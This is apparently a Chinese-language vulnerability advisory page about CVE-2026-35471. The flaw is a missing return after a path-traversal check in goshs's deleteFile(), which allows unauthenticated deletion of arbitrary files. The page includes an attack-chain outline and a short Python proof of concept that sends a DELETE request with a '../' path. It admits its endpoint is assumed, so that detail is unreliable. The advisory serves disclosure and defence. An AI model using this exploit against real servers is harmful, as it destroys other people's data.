IPBUF安全漏洞报告
English
CVE-2026-35471 CVSS 9.8 严重

CVE-2026-35471 goshs路径遍历漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-35471
漏洞类型
路径遍历
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
goshs

相关标签

路径遍历goshs任意文件删除CVE-2026-35471逻辑漏洞

漏洞概述

goshs是一款基于Go语言的HTTP服务器。在2.0.0-beta.3之前的版本中,deleteFile()函数存在逻辑缺陷,即在路径遍历检查之后缺少返回语句。这导致安全检查失效,攻击者可以利用该漏洞绕过路径限制,未经授权地删除服务器上的任意文件,造成严重的安全风险。

技术细节

该漏洞的核心在于goshs源代码中deleteFile()函数的实现缺陷。函数虽然设计了对路径遍历字符(如'../')的检测逻辑,以防止访问Web根目录外的文件,但在检测到异常路径时未能执行return语句中断执行。这意味着,当攻击者构造包含路径遍历序列的恶意请求时,虽然安全检查模块会识别出恶意路径,但由于程序流程未被打断,后续的文件删除代码依然会被执行。这种逻辑错误使得安全机制形同虚设,攻击者可借此删除服务器上的敏感配置文件或系统关键文件,导致服务中断或数据丢失。

攻击链分析

STEP 1
侦察
攻击者识别出目标服务器正在使用goshs,且版本低于2.0.0-beta.3。
STEP 2
漏洞利用
攻击者向服务器发送特制的HTTP DELETE请求,请求的文件路径中包含'../'等路径遍历字符,旨在删除Web目录之外的文件。
STEP 3
执行逻辑
服务器的deleteFile()函数检测到路径遍历字符,但由于缺少return语句,继续执行文件删除操作。
STEP 4
影响达成
目标文件被成功删除,可能导致系统功能受损或敏感数据丢失。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_host = "http://127.0.0.1:8080" malicious_file = "../../../tmp/sensitive_file.txt" # The specific endpoint depends on goshs configuration, assuming a generic delete endpoint # Exploit relies on the missing return in path traversal check url = f"{target_host}/api/delete?path={malicious_file}" try: response = requests.delete(url) if response.status_code == 200: print("[+] Exploit successful! File deleted.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

影响范围

goshs < 2.0.0-beta.3

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用goshs的文件上传或删除功能,或者将应用运行在受限的容器环境中(如Docker),以限制文件删除对宿主机系统的影响。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表